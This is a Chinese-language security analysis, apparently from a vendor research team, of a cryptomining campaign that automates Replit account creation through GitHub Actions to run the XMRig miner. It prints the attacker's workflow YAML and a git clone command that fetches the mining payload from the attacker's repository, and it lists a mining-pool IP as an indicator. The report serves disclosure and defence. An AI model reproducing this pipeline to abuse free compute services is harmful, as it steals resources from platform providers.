一、引言

近期,奇安信星图实验室供应链安全团队发现了一起滥用Replit [1]服务来进行门罗币挖矿的事件,攻击者利用GitHub Action平台实现了完全自动化的挖矿程序部署。Replit是一个提供在线集成代码运行环境的服务,可以将多种语言的程序直接运行在该网站的线上实例容器中,攻击者正是利用其免费的资源来进行挖矿。利用线上CI/CD服务将攻击流程完全自动化是此种攻击模式的新颖之处。

二、细节披露

攻击者通过GitHub Action来创建自动化任务,其内容包括自动注册Replit账号、自动登陆Replit平台、自动创建应用实例、自动下载挖矿程序并启动。完整的攻击流程图如下所示:

攻击流程图

下图展示了该攻击者的GitHub账号主页 ,其中fantastic-dollop仓库即是用来执行具体GitHub Action任务的仓库。

image-20220714105521509

攻击者通过GitHub Action 来运行仓库中的Python脚本bo2.py, 该脚本的作用为自动化部署挖矿程序。

image-20220714142122018

GitHub Action的配置文件rawrz.yaml 内容如下,其主要功能是启动了一个workflow,用于运行一个Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
name: Windows Server 2019

on: workflow_dispatch

jobs:
build:

runs-on: windows-2019
timeout-minutes: 9999

steps:
- uses: actions/checkout@v2
- name: rawr
run: |
py -m pip install undetected-chromedriver
py bot2.py

其中,Python脚本 bot2.py大致内容如下:

image-20220714174802998

  • bo2.py中,该攻击者使用一个随机名称的Gmail邮箱创建一个Replit账号。由于Replit账号的创建并不验证邮箱的有效性,所以即使邮箱的名称是随机生成的,这个邮箱并不存在,账号也可以创建成功。

  • 成功创建账号后,攻击者启动了一个Python语言环境的实例, 用于执行后续的操作。在Replit中,用户一旦成功创建实例后会有一个相应的shell环境可用于执行各种命令。

    image-20220714155719748

  • 然后攻击在shell环境中执行git命令git clone https://github.com/Cloudy124/bookish-robot.git,clone了一个用于执行Replit程序的git项目

  • 在该项目中包含自动化运行Replit实例的配置和Python脚本main.py

    image-20220714153122066

  • main.py 脚本的大致内容如下:

    image-20220714180045046

  • main.py中再次从另一个git仓库下载了包含挖矿程序和执行脚本的压缩包,解压后启动了该挖矿程序。该仓库内容如下图所示,其中包含了多个含有挖矿程序的压缩包,可以看到攻击者进行过多次测试。

  • 由于该main.py脚本会在Replit中自动运行,所以相应的挖矿程序也会同步启动。

    image-20220714154127519

  • 在该压缩包中包含了启动挖矿程序的代码以及攻击者代理矿池的配置文件。该代理矿池地址和我们发现的npm中另一起大规模供应链挖矿攻击中所提到的一致[2],且git仓库也有关联关系,应该为同一攻击者的行为。

    image-20220714154512548image-20220714154950827

  • 到此为止,一个由GitHub Action控制的、利用Replit服务进行全自动化挖矿程序部署的攻击流程就形成了,攻击者只需将GitHub Action设为定时启动,设置任务数量即可自动化的在Replit上同时运行多个挖矿程序。

三、结语

  • 本文分析了一个滥用GitHub Action和Replit服务来进行全自动化挖矿的案例。攻击者通过GitHub Action进行流程控制,使用Replit服务资源来进行挖矿。使用的挖矿程序是广为人知的Xmrig挖矿软件,其攻击手段的新颖主要体现在流程的自动化方面,充分地利用了各大服务平台提供的线上资源,将攻击者的成本和暴露风险降到了最低。从此次攻击事件中我们可以看到,类似Replit这样提供线上运行环境,以及CI/CD自动化的服务有很多被滥用和攻击的风险,服务提供商应加强这方面的安全检测和防范机制。

IOC

  • 130.162.52[.]80 (代理矿池地址)
  • 901d534f3fe2a57f660a9e344734f51fd9fbd869 (Linux ELF 挖矿程序)

参考链接

[1] Replit: The collaborative browser based IDE

[2] Node.Cuteboi 供应链挖矿攻击持续追踪